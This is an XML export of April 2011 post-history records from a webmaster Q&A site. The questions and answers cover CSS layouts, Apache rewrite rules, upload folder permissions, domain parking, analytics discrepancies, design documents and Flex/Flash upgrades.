  <row Id="28646" PostHistoryTypeId="5" PostId="12377" RevisionGUID="125afe21-1dc0-46e8-9526-713a3e747a3e" CreationDate="2011-04-20T01:36:57.977" UserId="2748" Comment="spelling correction and greetings removed." Text="So the HTML is divided using divs obviously&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    &lt;div id=&quot;left&quot;&gt;&#xD;&#xA;    content&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;    &lt;div id=&quot;right&quot;&gt;&#xD;&#xA;    content&#xD;&#xA;    &lt;/div&gt;    &#xD;&#xA;    &lt;div id=&quot;main&quot;&gt;&#xD;&#xA;    content&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;I would like to create a layout using CSS that gives us three columns.&#xD;&#xA;&#xD;&#xA;    |      |            |      |&#xD;&#xA;    |      |            |      |&#xD;&#xA;    | left |    main    |right |&#xD;&#xA;    |      |            |      |&#xD;&#xA;    |      |            |      |&#xD;&#xA;&#xD;&#xA;The trick is that I would like the **main** part to be centred and 60% of width.&#xD;&#xA;Left and right to be 20% width.&#xD;&#xA;&#xD;&#xA;There will be no images just plain text." />
  <row Id="28647" PostHistoryTypeId="24" PostId="12377" RevisionGUID="125afe21-1dc0-46e8-9526-713a3e747a3e" CreationDate="2011-04-20T01:36:57.977" Comment="Proposed by 2748 approved by 1064 edit id of 148" />
  <row Id="28648" PostHistoryTypeId="2" PostId="12544" RevisionGUID="4925ea60-8d52-4f48-85c9-41b4ea015f49" CreationDate="2011-04-20T01:48:25.820" UserId="6969" Text="The freelancer is scamming you. Agree with him and ask him to put the site back on, then change your ftp info etc and stop communicating with the freelancer. (If necessary pay him 50% of the money to get him to install the site again)." />
  <row Id="28649" PostHistoryTypeId="10" PostId="12479" RevisionGUID="727e4c88-bcf7-48ca-8fa2-dbe46b933087" CreationDate="2011-04-20T01:49:46.693" UserId="1064" CloseReasonId="2" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="28650" PostHistoryTypeId="5" PostId="12410" RevisionGUID="32d35ac2-d1b8-4d92-86dd-fd4c3a3a2739" CreationDate="2011-04-20T01:51:59.297" UserId="4786" Comment="made unordered list" Text="I need a script that can support basically only the profile part of a social site.&#xD;&#xA;&#xD;&#xA; - Gallery&#xD;&#xA; - Avatar&#xD;&#xA; - Custom fields for the profile&#xD;&#xA; - User activation must be authorized by an admin&#xD;&#xA;&#xD;&#xA;Is there something that can do this?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28651" PostHistoryTypeId="24" PostId="12410" RevisionGUID="32d35ac2-d1b8-4d92-86dd-fd4c3a3a2739" CreationDate="2011-04-20T01:51:59.297" Comment="Proposed by 4786 approved by 1064 edit id of 136" />
  <row Id="28652" PostHistoryTypeId="5" PostId="12416" RevisionGUID="bd606177-454f-4d15-92c5-a6c548a99392" CreationDate="2011-04-20T01:52:33.103" UserId="4786" Comment="removed signature per FAQ" Text="So you know when you go to a domain that say you want to buy, and the only thing that comes up is a bunch of links to other sites, and stuff like that?&#xD;&#xA;&#xD;&#xA;How do I set something like that up for my old domain that I want to hold onto for the right buyer but, also make some small income while I have it?" />
  <row Id="28653" PostHistoryTypeId="24" PostId="12416" RevisionGUID="bd606177-454f-4d15-92c5-a6c548a99392" CreationDate="2011-04-20T01:52:33.103" Comment="Proposed by 4786 approved by 1064 edit id of 138" />
  <row Id="28654" PostHistoryTypeId="2" PostId="12545" RevisionGUID="78bc4105-9a67-4b77-bf7d-2b5e4a75d4dc" CreationDate="2011-04-20T01:58:37.563" UserId="5731" Text="Hey what do you think of IEEE publishing a standard called IEEE 1016–1998 &quot;Recommendendations for Software Design - I think it's a good idea to follow that guideline and keep a &quot;design document&quot; that we do not change daily and change the code daily instead. If you search for IEEE 1016–1998 you can review what it's about. What do you think?&#xD;&#xA;Best wishes&#xD;&#xA;Niklas" />
  <row Id="28655" PostHistoryTypeId="1" PostId="12545" RevisionGUID="78bc4105-9a67-4b77-bf7d-2b5e4a75d4dc" CreationDate="2011-04-20T01:58:37.563" UserId="5731" Text="Should a webmaster use a design document?" />
  <row Id="28656" PostHistoryTypeId="3" PostId="12545" RevisionGUID="78bc4105-9a67-4b77-bf7d-2b5e4a75d4dc" CreationDate="2011-04-20T01:58:37.563" UserId="5731" Text="&lt;website-design&gt;&lt;design&gt;&lt;best-practices&gt;" />
  <row Id="28657" PostHistoryTypeId="25" PostId="12483" RevisionGUID="1454cda1-23ff-4956-80ba-a75593eaebdd" CreationDate="2011-04-20T03:09:17.547" Comment="http://twitter.com/#!/StackWebmasters/status/60540512804929536" />
  <row Id="28658" PostHistoryTypeId="2" PostId="12546" RevisionGUID="35dcfbec-7f6f-4e05-a9ee-3c89aad5bc20" CreationDate="2011-04-20T03:39:56.733" UserId="4306" Text="There are lots of reasons why the numbers differ between analytics tools. Here's a post from Clint Eagar of Omniture on [why there are discrepancies][1], but the most important point is this:&#xD;&#xA;&#xD;&#xA;&gt; Trend is king when analyzing web analytics data. More important than squabbling over a ten percent difference in how Google Analytics or Omniture reports a visitor you should instead be questioning: How many visits to do I have this week compared to last? How are different referring domains driving conversions over time?&#xD;&#xA;&#xD;&#xA;&gt; Ultimately the differences between analytics vendors is just noise and you should never (did I say never?) attempt reconciliation.&#xD;&#xA;&#xD;&#xA;* http://www.orangesoda.com/blog/how-to-reconcile-differences-in-web-stats/&#xD;&#xA;&#xD;&#xA;For more information, here's the official Google stance on the topic:&#xD;&#xA;&#xD;&#xA;* http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=55614&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.orangesoda.com/blog/how-to-reconcile-differences-in-web-stats/" />
  <row Id="28659" PostHistoryTypeId="2" PostId="12547" RevisionGUID="cbcee950-f1b9-4631-89ae-ae806c0bdf0f" CreationDate="2011-04-20T03:46:17.120" UserId="4306" Text="How to dynamically resize an iframe, when iframe content is on a 3rd-party domain:&#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/4495700/how-can-i-dynamically-resize-my-iframe-avoiding-the-browser-security-crossdomain" />
  <row Id="28660" PostHistoryTypeId="17" PostId="12549" RevisionGUID="15a8f530-8ddf-4862-ac84-514f8f1849b2" CreationDate="2011-04-20T04:26:52.687" UserId="-1" Comment="from http://serverfault.com/questions/261532/apache-mod-rewrite-rule-to-convert-url-of-page-keeping-parameters-same/261552#261552" Text="" />
  <row Id="28661" PostHistoryTypeId="2" PostId="12549" RevisionGUID="46b77642-f6fc-4dcd-a42f-f75461cd7812" CreationDate="2011-04-20T03:20:20.310" UserId="5942" Text="This works. &#xD;&#xA;&#xD;&#xA;RewriteRule ^app/prog1.php$ /app/prog2.php [L]" />
  <row Id="28662" PostHistoryTypeId="2" PostId="12548" RevisionGUID="ee1ff47b-17d4-4029-9598-8dc9e86a2124" CreationDate="2011-04-20T01:42:45.610" UserId="5942" Text="I sent out a link in an email that had a typo in the URL. I need to make a quick change for tracking purposes so that any incoming hits to the URL are instead parsed to another URL.&#xD;&#xA;&#xD;&#xA;From the link sent out: &#xD;&#xA;&#xD;&#xA;    /app/prog1.php?id=1234&#xD;&#xA;&#xD;&#xA;To the version I want to track:&#xD;&#xA;&#xD;&#xA;    /app/prog2.php?id=1234&#xD;&#xA; &#xD;&#xA;How do I set up a RewriteRule to handle such a transformation?&#xD;&#xA;" />
  <row Id="28663" PostHistoryTypeId="1" PostId="12548" RevisionGUID="ee1ff47b-17d4-4029-9598-8dc9e86a2124" CreationDate="2011-04-20T01:42:45.610" UserId="5942" Text="Apache mod_rewrite rule to convert URL of page, keeping parameters same" />
  <row Id="28664" PostHistoryTypeId="3" PostId="12548" RevisionGUID="ee1ff47b-17d4-4029-9598-8dc9e86a2124" CreationDate="2011-04-20T01:42:45.610" UserId="5942" Text="&lt;apache&gt;&lt;mod-rewrite&gt;" />
  <row Id="28665" PostHistoryTypeId="17" PostId="12548" RevisionGUID="901cac90-c636-4b73-9aae-bb6a86f8c148" CreationDate="2011-04-20T04:26:52.687" UserId="-1" Comment="from http://serverfault.com/questions/261532/apache-mod-rewrite-rule-to-convert-url-of-page-keeping-parameters-same" Text="" />
  <row Id="28666" PostHistoryTypeId="2" PostId="12550" RevisionGUID="d76c668b-a925-4ace-9471-2ca65b3b1de5" CreationDate="2011-04-20T04:29:03.360" UserId="6971" Text="i need to upload a file to site with php code. how to set permission for upload folder if i want to users cant access to file by URL but php code read this file ?" />
  <row Id="28667" PostHistoryTypeId="1" PostId="12550" RevisionGUID="d76c668b-a925-4ace-9471-2ca65b3b1de5" CreationDate="2011-04-20T04:29:03.360" UserId="6971" Text="permission access fiile" />
  <row Id="28668" PostHistoryTypeId="3" PostId="12550" RevisionGUID="d76c668b-a925-4ace-9471-2ca65b3b1de5" CreationDate="2011-04-20T04:29:03.360" UserId="6971" Text="&lt;php&gt;&lt;security&gt;&lt;uploading&gt;" />
  <row Id="28669" PostHistoryTypeId="2" PostId="12551" RevisionGUID="69e8512a-7383-43e9-ba2b-b7d87abf814f" CreationDate="2011-04-20T04:39:08.203" UserId="6972" Text="Well, I don't have an IEEE subscription and I don't feel like shelling out $129 (or whatever it was) for access to the document. However, if it pertains to what I think it does:&#xD;&#xA;&#xD;&#xA;## YES, ABSOLUTELY ##&#xD;&#xA;&#xD;&#xA;Ideas change in a developer/producer's mind so often that if you're developing applications with complexity even slightly above &quot;hello, world&quot;, then a design document can be absolutely priceless.&#xD;&#xA;&#xD;&#xA;Writing a design doc allows (well, forces) you to *think* everything through. There are so many times that I wish that I had used these earlier in my career, as many times (as I'm sure many can attest to), I've had an &quot;oh sh*!&quot; moment, where I ran into an issue (either functional or logic) that rendered a bunch of work that I had done virtually useless.&#xD;&#xA;&#xD;&#xA;Also, a design document will keep everyone (even if it's only you developing) on course. Having the document is almost a contract saying &quot;this work needs to get done before anyone else&quot;. I've had to catch myself so many times when going off on a tangent with some &quot;cool tech&quot; that I'd never get anything released had I not used the design document as a baseline for requirements.&#xD;&#xA;&#xD;&#xA;Having a well developed design document definitely helps mitigate these kinds of issues. Having said that, you'll always run into unforeseen issues, that can't be helped.&#xD;&#xA;&#xD;&#xA;The only issue that I've seen around design documents is when they're no longer valid. Sometimes requirements *do* change as systems are developed. I would argue that it's a necessity to go back and update the document to ensure that it's in line with whatever is released, but that's up to whoever is implementing the changes.&#xD;&#xA;&#xD;&#xA;Now, if I'm off base with the intent of the IEEE doc, then ignore my entire rant :)" />
  <row Id="28670" PostHistoryTypeId="2" PostId="12552" RevisionGUID="6676343b-fb4d-471d-988b-37be776bcd7b" CreationDate="2011-04-20T04:44:29.060" UserId="6972" Text="The `www` (or whatever account is used to run your web server) account needs to have write access to the directory. I would assume that you could block direct access to said directory through an `.htaccess` file placed in that directory.&#xD;&#xA;&#xD;&#xA;It might look something like:&#xD;&#xA;&#xD;&#xA;    Order deny,allow&#xD;&#xA;    Deny from all" />
  <row Id="28671" PostHistoryTypeId="2" PostId="12553" RevisionGUID="744cfab8-f857-41f4-b17b-edce1f304d7d" CreationDate="2011-04-20T04:48:25.107" UserId="6776" Text="Can anybody tell me if it's vbulletin/phpbb etc used by this site: seoforums.org .&lt;br&gt;&#xD;&#xA;if it's vbulletin then why is this site: forums.seochat.com so different?" />
  <row Id="28672" PostHistoryTypeId="1" PostId="12553" RevisionGUID="744cfab8-f857-41f4-b17b-edce1f304d7d" CreationDate="2011-04-20T04:48:25.107" UserId="6776" Text="Which forum software is this site using?" />
  <row Id="28673" PostHistoryTypeId="3" PostId="12553" RevisionGUID="744cfab8-f857-41f4-b17b-edce1f304d7d" CreationDate="2011-04-20T04:48:25.107" UserId="6776" Text="&lt;forum&gt;" />
  <row Id="28674" PostHistoryTypeId="2" PostId="12554" RevisionGUID="6ef3eecc-faf6-4bdb-b9e9-9ec8f86f03b6" CreationDate="2011-04-20T05:25:13.820" UserId="6973" Text="Looking at the source, &lt;a href=&quot;http://www.seoforums.org/&quot;&gt;seoforums.org&lt;/a&gt; appears to be using vBulletin, as well as &lt;a href=&quot;http://forums.seochat.com/&quot;&gt;forums.seochat.com&lt;/a&gt;. I'm not sure what you mean by &quot;so different&quot;; they could have just applied different CSS styles to each forum." />
  <row Id="28675" PostHistoryTypeId="2" PostId="12555" RevisionGUID="35c898b1-e321-4f40-9639-098fa2fcc639" CreationDate="2011-04-20T05:35:10.780" UserId="6973" Text="Try `chmod 750` on the directory, which will give you full access, the server/program read + execute access, and users no access." />
  <row Id="28676" PostHistoryTypeId="2" PostId="12556" RevisionGUID="6cacbb98-aa85-444e-a169-9a7538c3f5e3" CreationDate="2011-04-20T06:04:51.350" UserId="6973" Text="You can use a &lt;a href=&quot;http://en.wikipedia.org/wiki/Meta_element#The_robots_attribute&quot;&gt;meta robots&lt;/a&gt; tag, which is supported by all of the major search engines today:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-html --&gt;&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;noindex&quot; /&gt;&#xD;&#xA;&#xD;&#xA;I'm not exactly sure how to do this with robots.txt, though." />
  <row Id="28677" PostHistoryTypeId="25" PostId="12550" RevisionGUID="47107655-3451-4cea-a58e-823bce2f82d2" CreationDate="2011-04-20T06:09:18.173" Comment="http://twitter.com/#!/StackWebmasters/status/60585812965863424" />
  <row Id="28678" PostHistoryTypeId="2" PostId="12557" RevisionGUID="e6faa99a-b168-4724-992c-57527c262e18" CreationDate="2011-04-20T06:09:47.613" UserId="6973" Text="Essentially, change all of your passwords, and see if your host has backups that you can use. If not, you're a bit out of luck; the freelancer is scamming you. Make sure to create an FTP account that isn't admin account, and limit its access to only places where you need editing, then give the account credentials to a trustworthy person. Get someone else to remake the website, if you are seriously out of luck without backups." />
  <row Id="28679" PostHistoryTypeId="2" PostId="12558" RevisionGUID="52a1c361-351f-4fa4-b57c-3babd64cefb2" CreationDate="2011-04-20T06:23:22.207" UserId="6973" Text="I suggest starting with HTML5, which will become, essentially, the HTML&amp;nbsp;4.01 of the future (a.k.a. the HTML standard of the future). Learning XHTML &lt;em&gt;coding habits&lt;/em&gt;, however, isn't a bad idea, as a stricter ruleset for writing (X)HTML pages prevents you from having issues with sloppy code.&#xD;&#xA;&#xD;&#xA;Some of the key features of XHTML:&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;XHTML elements and attributes are all &lt;em&gt;lowercase&lt;/em&gt;&lt;/li&gt;&#xD;&#xA;&lt;li&gt;XHTML elements must be closed (sometimes with a self-closing tag &lt;code&gt;/&lt;/code&gt;)&lt;/li&gt;&#xD;&#xA;&lt;li&gt;XHTML must declare a root namespace (also known as &lt;code&gt;xmlns&lt;/code&gt;, though this isn't necessary in HTML5)&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;Having properly nested elements is technically a requirement for validating HTML, but many HTML writers write sloppy code that isn't properly nested (such as `&lt;strong&gt;&lt;em&gt;Test&lt;/strong&gt;&lt;/em&gt;`), so it's (wrongly) associated with XHTML sometimes.&#xD;&#xA;&#xD;&#xA;I highly recommend using the &lt;a href=&quot;http://validator.w3.org/&quot;&gt;(X)HTML validator&lt;/a&gt; and the &lt;a href=&quot;http://jigsaw.w3.org/css-validator/&quot;&gt;CSS validator&lt;/a&gt; to validate your code while you write, to maintain a good practice of having valid code.&#xD;&#xA;&#xD;&#xA;If you have any code-related issues, you may post them at &lt;a href=&quot;http://stackoverflow.com/&quot;&gt;Stack Overflow&lt;/a&gt;, another one of our projects." />
  <row Id="28680" PostHistoryTypeId="2" PostId="12559" RevisionGUID="e0ee9e61-2ce3-4cd4-8ed6-f86900a0c0a3" CreationDate="2011-04-20T06:28:10.267" UserId="6973" Text="CSS and JS folders are nice for an individual site that may be statically coded (a.k.a. only HTML), but it's not practical for a larger site that uses a CMS.&#xD;&#xA;&#xD;&#xA;CMSs use &quot;styles&quot; and &quot;images&quot; folders in their own folder structure, just that it's usually buried within subdirectories. It's a nice way of laying out content, and favored by many CMSs.&#xD;&#xA;&#xD;&#xA;Having one-letter folder names is confusing. On first look, I would have been confused with the difference between photos (`p`) and images (`i`). Using `a` for &quot;application&quot; also seems cryptic." />
  <row Id="28681" PostHistoryTypeId="2" PostId="12560" RevisionGUID="e5bff4d5-e05b-4e56-9a5c-1fbcb3e28bba" CreationDate="2011-04-20T06:46:04.393" UserId="4461" Text="1. Yahoo is [now powered by Bing][1], so you can forget about Y!&#xD;&#xA;2. There's nothing in the Bing Webmaster tools console to advise when the last crawl/read of the XML Sitemap took place.&#xD;&#xA;&#xD;&#xA;...which leaves you having to check your own server logs.&#xD;&#xA;&#xD;&#xA;Alternatively, *and I have no evidence to back this up*, you could ensure that your XML sitemap file is referenced in your robots.txt file to ensure it gets &quot;noticed&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ysearchblog.com/2010/08/17/latest-on-the-yahoo-and-microsoft-search-alliance" />
  <row Id="28685" PostHistoryTypeId="2" PostId="12562" RevisionGUID="5b8064b2-43e7-4e71-a81d-535c8ba98d84" CreationDate="2011-04-20T09:01:19.527" UserId="6977" Text="I'm not sure if such 'shared hosting' accounts is the best way to approach this.  Instead I would suggest a vps account into which you can SSH in directly and setup a Linux distro of your choice - the most hassle free solution would be Ubuntu 10.04 LTS (or the newer 10.10).&#xD;&#xA;&#xD;&#xA;Look at setting up Passenger + Apache.  Getting Capistrano to work after that is very simple, as deploy:cold simply has it login to your app server and pull on the code from your code repo.&#xD;&#xA;&#xD;&#xA;Have you been able to log in and verify that deploy:cold has worked?  Check out this link as well: http://support.hostgator.com/articles/specialized-help/technical/how-do-i-start-using-ruby-on-rails&#xD;&#xA;&#xD;&#xA;Cheers, M." />
  <row Id="28686" PostHistoryTypeId="2" PostId="12563" RevisionGUID="9465a450-cd48-43a0-9124-512076455614" CreationDate="2011-04-20T09:05:34.547" UserId="5739" Text="Another example is [Sedo][1] parking. Most of the big name Registrars use them when a domain goes past its renewal date. They will park it and see how much traffic it gets to determine if the domain is worth selling at auction.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sedo.com/uk/park-domains/how-parking-works/" />
  <row Id="28692" PostHistoryTypeId="2" PostId="12565" RevisionGUID="e6a13819-e51d-4292-83e8-810b5aa86ab3" CreationDate="2011-04-20T10:20:08.040" UserId="4502" Text="You can't. &#xD;&#xA;&#xD;&#xA;At least not by forcing it. The feature is called &lt;a href=&quot;http://www.bing.com/community/site_blogs/b/search/archive/2009/06/23/bringing-the-ideal-result-front-and-center-with-best-match.aspx&quot;&gt;Best Match&lt;/a&gt;, and it's driven algorithmically.  &#xD;&#xA;That post has an overview of what it does, etc. then scan in the comments for one from Bing at 6/24/2009 10:17 AM for a little detail on how something ends up in that area. Basically, you need to get people visiting your site from search results a lot in order to do it. Which is probably what you're after wanting to be there in the first place, so it kinda makes sense." />
  <row Id="28693" PostHistoryTypeId="17" PostId="12567" RevisionGUID="6b3dc4c3-9c1d-4cf9-bdd4-878bc2affc07" CreationDate="2011-04-20T10:35:00.220" UserId="-1" Comment="from http://stackoverflow.com/questions/5708516/updating-to-flex-4-need-advice/5708592#5708592" Text="" />
  <row Id="28694" PostHistoryTypeId="17" PostId="12568" RevisionGUID="c02c66d7-4210-4596-bc89-f9bafc04ecd5" CreationDate="2011-04-20T10:35:00.220" UserId="-1" Comment="from http://stackoverflow.com/questions/5708516/updating-to-flex-4-need-advice/5708674#5708674" Text="" />
  <row Id="28695" PostHistoryTypeId="2" PostId="12567" RevisionGUID="f42e06dc-8e7a-40e6-ac54-31f0fcec828a" CreationDate="2011-04-18T20:36:42.760" UserId="9765" UserDisplayName="Constantiner" Text="You can refer to [official statistics from Adobe][1] and [this unofficial one][2]. For determining your users version statistics you can embed 1x1 size SWF into your page with minimal Flash Player requirements and send Player version on a server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.adobe.com/products/player_census/flashplayer/version_penetration.html&#xD;&#xA;  [2]: http://riastats.com/" />
  <row Id="28696" PostHistoryTypeId="2" PostId="12568" RevisionGUID="efcb2bf1-13a5-4145-84c6-23f9c6b0eb36" CreationDate="2011-04-18T20:43:27.307" UserDisplayName="J_A_X" Text="If your users are using Chrome, it's not a problem since Chrome updates Flash automatically.  The flash player penetration is 99% for 10 and above.  The Flash update process is fairly pain free IMO. Most of them should of gotten a popup saying they should update and if they accept, downloads and installs without any user interaction.  &#xD;&#xA;&#xD;&#xA;If it hasn't done that already, having an [express install][1] on your site will help a lot alleviate any concern.  It comes bundled in with [SWFObject][2] as well, which you should be using anyways :P&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.adobe.com/devnet/flashplayer/articles/express_install.html&#xD;&#xA;  [2]: http://code.google.com/p/swfobject/" />
  <row Id="28697" PostHistoryTypeId="2" PostId="12566" RevisionGUID="077f5911-551c-42ec-9206-cb4da9de61f9" CreationDate="2011-04-18T20:29:13.450" UserDisplayName="andrewpthorp" Text="Our users are older salespeople, most of whom don't understand the concept of a plugin, so telling them to update their flash player is not an option (I have tried in the past).&#xD;&#xA;&#xD;&#xA;However, updating our application to Flex 4 (from 3.5) is something I would like to atleast plan on doing in the future. &#xD;&#xA;&#xD;&#xA;The question is, what is the market saturation of flash player 10? What would be the easiest way to determine how many of our users have flash player 10? Any other hints/advice for considering upgrading to flex 4 would be great!&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="28698" PostHistoryTypeId="1" PostId="12566" RevisionGUID="077f5911-551c-42ec-9206-cb4da9de61f9" CreationDate="2011-04-18T20:29:13.450" UserDisplayName="andrewpthorp" Text="Updating to Flex 4, need advice." />
  <row Id="28699" PostHistoryTypeId="3" PostId="12566" RevisionGUID="077f5911-551c-42ec-9206-cb4da9de61f9" CreationDate="2011-04-18T20:29:13.450" UserDisplayName="andrewpthorp" Text="&lt;untagged&gt;" />
  <row Id="28700" PostHistoryTypeId="17" PostId="12566" RevisionGUID="6885b366-ec9d-4a2b-af2a-56f2f447dded" CreationDate="2011-04-20T10:35:00.220" UserId="-1" Comment="from http://stackoverflow.com/questions/5708516/updating-to-flex-4-need-advice" Text="" />
  <row Id="28701" PostHistoryTypeId="2" PostId="12569" RevisionGUID="1645de6e-a8fc-49f7-bba4-2f3abed4dc19" CreationDate="2011-04-20T10:36:13.967" UserId="6981" Text="I'd love to see a corporate intranet based upon something social such as BuddyPress.&#xD;&#xA;Depending on the ethos, it'd really encourage a social undercurrent to the organisation and would keep people checking back periodically." />
  <row Id="28702" PostHistoryTypeId="2" PostId="12570" RevisionGUID="80402c9b-af40-4607-8159-63fc9ae5f864" CreationDate="2011-04-20T10:41:20.277" UserId="4502" Text="&lt;a href=&quot;http://www.splunk.com/&quot;&gt;Splunk&lt;/a&gt; is probably worth a look.&#xD;&#xA;&#xD;&#xA;You'll have to go into more detail as to what you're looking for to start making requests like &quot;easy to use,&quot; I think. 10 years is a &lt;b&gt;lot&lt;/b&gt; of data to look through and you're not even saying what you're looking &lt;em&gt;for&lt;/em&gt;. Whatever it is may not be easy to extract in the first place." />
  <row Id="28704" PostHistoryTypeId="2" PostId="12572" RevisionGUID="06fac318-6794-4409-8f31-a05700b5897c" CreationDate="2011-04-20T11:08:11.347" UserId="6981" Text="As others have touched on here, I wouldn't worry about the fact the content is automatically generated, I more worry about the quality of that generated content.&#xD;&#xA;&#xD;&#xA;So long as that automatically generated content is unique and of good editorial quality as well as being genuinely useful/informative then you'll be just fine.&#xD;&#xA;&#xD;&#xA;At the end of the day, nearly all generated content will be no match quality wise than that of a hand-crafted post, so if you haven't for the time or the expertise, then elance.com should come in handy.&#xD;&#xA;&#xD;&#xA;Good useful and unique content isn't *usually free!&#xD;&#xA;&#xD;&#xA;* Some very (very, very) rare exceptions are out and about of-course." />
  <row Id="28705" PostHistoryTypeId="2" PostId="12573" RevisionGUID="213779b2-746e-46fa-97f0-9c336e96e8ef" CreationDate="2011-04-20T11:28:57.777" UserId="6982" Text="We have one Facebook fan page and two personal profiles that could be sending traffic and then there are the many facebook pages of friends etc.  I am also running an ad campaign from my FB account for my husband's business which has a link from his personal FB profile and his fan page.&#xD;&#xA;&#xD;&#xA;On Google analytics for his business we get the following referring sites from Facebook:&#xD;&#xA;&#xD;&#xA;&lt;/ajax/emu/end.php&gt;   which is listed under    &lt;facebook.com / referral&gt; &#xD;&#xA;&lt;/l.php&gt; (which is a not-found page at FB) &#xD;&#xA;&lt;/ajax/emu/end.php&gt;   which is listed under   &lt;apps.facebook.com&gt; &#xD;&#xA;&#xD;&#xA;Both of the working links send me to the home page of my profile, which is the account I am working from to create and review the FB ad campaign that we are running.&#xD;&#xA;&#xD;&#xA;Is this info telling me any useful information at all?  Is there a best practice for tracking and analyzing Facebook traffic that is a lot more granular?&#xD;&#xA;&#xD;&#xA;thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28706" PostHistoryTypeId="1" PostId="12573" RevisionGUID="213779b2-746e-46fa-97f0-9c336e96e8ef" CreationDate="2011-04-20T11:28:57.777" UserId="6982" Text="How do I analyze vague Google Analytics data re traffic from Facebook?" />
  <row Id="28707" PostHistoryTypeId="3" PostId="12573" RevisionGUID="213779b2-746e-46fa-97f0-9c336e96e8ef" CreationDate="2011-04-20T11:28:57.777" UserId="6982" Text="&lt;google&gt;&lt;facebook&gt;&lt;analytics&gt;&lt;facebook-application&gt;" />
  <row Id="28708" PostHistoryTypeId="5" PostId="12573" RevisionGUID="6f1a23bd-fa4b-401a-ae91-fb3b9265e15a" CreationDate="2011-04-20T11:37:10.583" UserId="6982" Comment="formatting" Text="We have one Facebook fan page and two personal profiles that could be sending traffic and then there are the many facebook pages of friends etc.  I am also running an ad campaign from my FB account for my husband's business which has a link from his personal FB profile and his fan page.&#xD;&#xA;&#xD;&#xA;On Google analytics for his business we get the following referring sites from Facebook:&#xD;&#xA;&#xD;&#xA;/ajax/emu/end.php   which is listed under    facebook.com / referral &#xD;&#xA;&#xD;&#xA;/l.php (which is a not-found page at FB&#xD;&#xA;&#xD;&#xA;/ajax/emu/end.php   which is listed under   apps.facebook.com &#xD;&#xA;&#xD;&#xA;Both of the working links send me to the home page of my profile, which is the account I am working from to create and review the FB ad campaign that we are running.&#xD;&#xA;&#xD;&#xA;Is this info telling me any useful information at all?  Is there a best practice for tracking and analyzing Facebook traffic that is a lot more granular?&#xD;&#xA;&#xD;&#xA;thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28709" PostHistoryTypeId="2" PostId="12574" RevisionGUID="3818eb32-4374-4501-973a-821777201797" CreationDate="2011-04-20T11:57:37.320" UserId="6983" Text="I want to give users an option to download the web page of my website they are currently viewing. I have searched and got 3rd party windows software which convert the pages. But I wish to provide this facility to be in my site as an inbuilt option.&#xD;&#xA;&#xD;&#xA;and to mention in particular that i am working in C# language on ASP.NET platform.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks " />
  <row Id="28710" PostHistoryTypeId="1" PostId="12574" RevisionGUID="3818eb32-4374-4501-973a-821777201797" CreationDate="2011-04-20T11:57:37.320" UserId="6983" Text="pdf conversion in website using asp.net platform" />
  <row Id="28711" PostHistoryTypeId="3" PostId="12574" RevisionGUID="3818eb32-4374-4501-973a-821777201797" CreationDate="2011-04-20T11:57:37.320" UserId="6983" Text="&lt;asp.net&gt;" />
  <row Id="28714" PostHistoryTypeId="2" PostId="12576" RevisionGUID="74eecac9-1338-40c2-aee3-c38d540d9822" CreationDate="2011-04-20T11:43:58.463" UserDisplayName="Rahat Ali" Text="Hi Guys I have created an asp.net application and now i want to publish it on the internet and want to place different ads like Google Adsense etc on it. I don't have a Domain name. So please suggest me a hosting service which is technically better (Providees easy to manage control panel for your site etc) and cheap." />
  <row Id="28715" PostHistoryTypeId="1" PostId="12576" RevisionGUID="74eecac9-1338-40c2-aee3-c38d540d9822" CreationDate="2011-04-20T11:43:58.463" UserDisplayName="Rahat Ali" Text="Best and Economic Domain Purchase and hosting for asp.net app" />
  <row Id="28716" PostHistoryTypeId="3" PostId="12576" RevisionGUID="74eecac9-1338-40c2-aee3-c38d540d9822" CreationDate="2011-04-20T11:43:58.463" UserDisplayName="Rahat Ali" Text="&lt;asp.net&gt;&lt;web-hosting&gt;" />
  <row Id="28717" PostHistoryTypeId="17" PostId="12576" RevisionGUID="aa65a2f8-0a41-4be4-a89b-4feeefaccf76" CreationDate="2011-04-20T12:41:39.813" UserId="-1" Comment="from http://stackoverflow.com/questions/5729648/best-and-economic-domain-purchase-and-hosting-for-asp-net-app" Text="" />
  <row Id="28718" PostHistoryTypeId="6" PostId="12576" RevisionGUID="1a8edeb3-5d1d-45ff-8a00-62d9972614a4" CreationDate="2011-04-20T12:59:17.330" UserId="1253" Comment="edited tags" Text="&lt;web-hosting&gt;&lt;asp.net&gt;&lt;looking-for-hosting&gt;" />
  <row Id="28727" PostHistoryTypeId="6" PostId="12566" RevisionGUID="aa0e8104-6359-4a02-840e-dd6740d6ecac" CreationDate="2011-04-20T13:15:28.930" UserId="1253" Comment="added &quot;flex flash&quot; tags" Text="&lt;flash&gt;&lt;flex&gt;" />
  <row Id="28728" PostHistoryTypeId="2" PostId="12577" RevisionGUID="9114350c-7083-4644-aa34-1e50a0230a9d" CreationDate="2011-04-20T13:44:20.507" UserId="3471" Text="You can use the free [BitNami Django][1] AMI together with Amazon free tier (which gives you 1 Micro instance for free). Should we ok for development or light usage server. Disclaimer, I am part of the BitNami project, but hey, it is free :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bitnami.org/stack/djangostack" />
